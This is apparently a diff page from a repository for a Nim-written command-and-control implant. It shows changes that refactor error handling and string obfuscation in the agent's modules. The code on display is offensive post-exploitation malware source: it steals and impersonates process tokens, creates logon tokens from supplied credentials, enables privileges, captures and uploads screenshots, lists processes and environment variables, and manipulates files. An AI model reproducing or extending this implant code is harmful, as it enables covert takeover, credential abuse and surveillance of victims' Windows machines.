status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE)))
|
||||
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("RevertToSelf ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
#[
|
||||
Create a new access token from a username, password and domain name triplet.
|
||||
@@ -304,7 +305,7 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
|
||||
var hToken: HANDLE
|
||||
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
||||
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: discard apis.NtClose(hToken)
|
||||
|
||||
apis.impersonate(hToken)
|
||||
@@ -325,7 +326,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
||||
defer: discard apis.NtClose(hToken)
|
||||
|
||||
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError,GetLastError().getError())
|
||||
|
||||
# Enable privilege
|
||||
tokenPrivs.PrivilegeCount = 1
|
||||
@@ -334,7 +335,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
||||
|
||||
status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
|
||||
let action = if enable: protect("Enabled") else: protect("Disabled")
|
||||
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
||||
@@ -365,13 +366,13 @@ proc stealToken*(pid: int): string =
|
||||
# Open a handle to the target process
|
||||
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtOpenProcess ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: discard apis.NtClose(hProcess)
|
||||
|
||||
# Open a handle to the primary access token of the target process
|
||||
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
|
||||
if status != STATUS_SUCCESS:
|
||||
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
|
||||
raise newException(CatchableError, status.getNtError())
|
||||
defer: discard apis.NtClose(hToken)
|
||||
|
||||
apis.impersonate(hToken)
|
||||
|
||||
@@ -108,7 +108,7 @@ when defined(agent):
|
||||
# Retrieve current working directory
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
print protect(" [>] Retrieving current working directory.")
|
||||
print " [>] Retrieving current working directory."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
@@ -117,7 +117,7 @@ when defined(agent):
|
||||
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
|
||||
if length == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
let output = $buffer[0 ..< (int)length]
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
@@ -132,12 +132,12 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||
|
||||
print protect(" [>] Changing current working directory to {targetDirectory}.")
|
||||
print " [>] Changing current working directory to {targetDirectory}."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -160,7 +160,7 @@ when defined(agent):
|
||||
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||
|
||||
if cwdLength == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
@@ -187,7 +187,7 @@ when defined(agent):
|
||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
|
||||
if hFind == INVALID_HANDLE_VALUE:
|
||||
raise newException(OSError, fmt"Failed to list files ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Directory was found and can be listed
|
||||
else:
|
||||
@@ -305,7 +305,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
if DeleteFile(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -323,7 +323,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
if RemoveDirectoryA(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -342,7 +342,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -363,7 +363,7 @@ when defined(agent):
|
||||
try:
|
||||
# Copy file to new location, overwrite if a file with the same name already exists
|
||||
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
|
||||
@@ -83,17 +83,17 @@ when defined(agent):
|
||||
# Obtain handle to the device context for the entire screen
|
||||
deviceCtx = GetDC(0)
|
||||
if deviceCtx == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: ReleaseDC(0, deviceCtx)
|
||||
|
||||
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
|
||||
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
|
||||
if gdiCurrent == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: DeleteObject(gdiCurrent)
|
||||
|
||||
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Construct BMP headers
|
||||
# Calculate amount of bits required to represent screenshot
|
||||
@@ -114,13 +114,13 @@ when defined(agent):
|
||||
screenshotLength = bmpFileHeader.bfSize
|
||||
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
|
||||
if screenshotBytes == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
|
||||
|
||||
# Assembly the bitmap image
|
||||
memDeviceCtx = CreateCompatibleDC(deviceCtx)
|
||||
if memDeviceCtx == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: ReleaseDC(0, memDeviceCtx)
|
||||
|
||||
# Initialize BITMAPINFO with prepared info header
|
||||
@@ -128,12 +128,12 @@ when defined(agent):
|
||||
|
||||
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
|
||||
if bmpSection == 0 or bitsBuffer == NULL:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Select the newly created bitmap into the memory device context
|
||||
gdiObject = SelectObject(memDeviceCtx, bmpSection)
|
||||
if gdiObject == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
defer: DeleteObject(gdiObject)
|
||||
|
||||
# Copy the screen content from the source device context to the memory device context
|
||||
@@ -145,7 +145,7 @@ when defined(agent):
|
||||
resX, resY, # Source coordinates
|
||||
SRCCOPY # Copy source directly to destination
|
||||
) == 0:
|
||||
raise newException(CatchableError, $GetLastError())
|
||||
raise newException(CatchableError, GetLastError().getError())
|
||||
|
||||
# Return the screenshot as a seq[byte]
|
||||
result = newSeq[byte](screenshotLength)
|
||||
@@ -156,7 +156,7 @@ when defined(agent):
|
||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
print protect(" [>] Taking and uploading screenshot.")
|
||||
print " [>] Taking and uploading screenshot."
|
||||
|
||||
let
|
||||
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"
|
||||
|
||||
@@ -52,7 +52,7 @@ when defined(agent):
|
||||
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
print protect(" [>] Listing running processes.")
|
||||
print " [>] Listing running processes."
|
||||
|
||||
try:
|
||||
var processes: seq[DWORD] = @[]
|
||||
@@ -62,7 +62,7 @@ when defined(agent):
|
||||
# Take a snapshot of running processes
|
||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, protect("Invalid permissions."))
|
||||
raise newException(CatchableError, GetLastError().getError)
|
||||
|
||||
# Close handle after object is no longer used
|
||||
defer: CloseHandle(hSnapshot)
|
||||
@@ -72,7 +72,7 @@ when defined(agent):
|
||||
|
||||
# Loop over processes to fill the map
|
||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||
raise newException(CatchableError, protect("Failed to get processes."))
|
||||
raise newException(CatchableError, GetLastError().getError)
|
||||
|
||||
while true:
|
||||
var procInfo = ProcessInfo(
|
||||
@@ -126,7 +126,7 @@ when defined(agent):
|
||||
|
||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
print protect(" [>] Displaying environment variables.")
|
||||
print " [>] Displaying environment variables."
|
||||
|
||||
try:
|
||||
var output: string = ""
|
||||
|
||||
Reference in New Issue
Block a user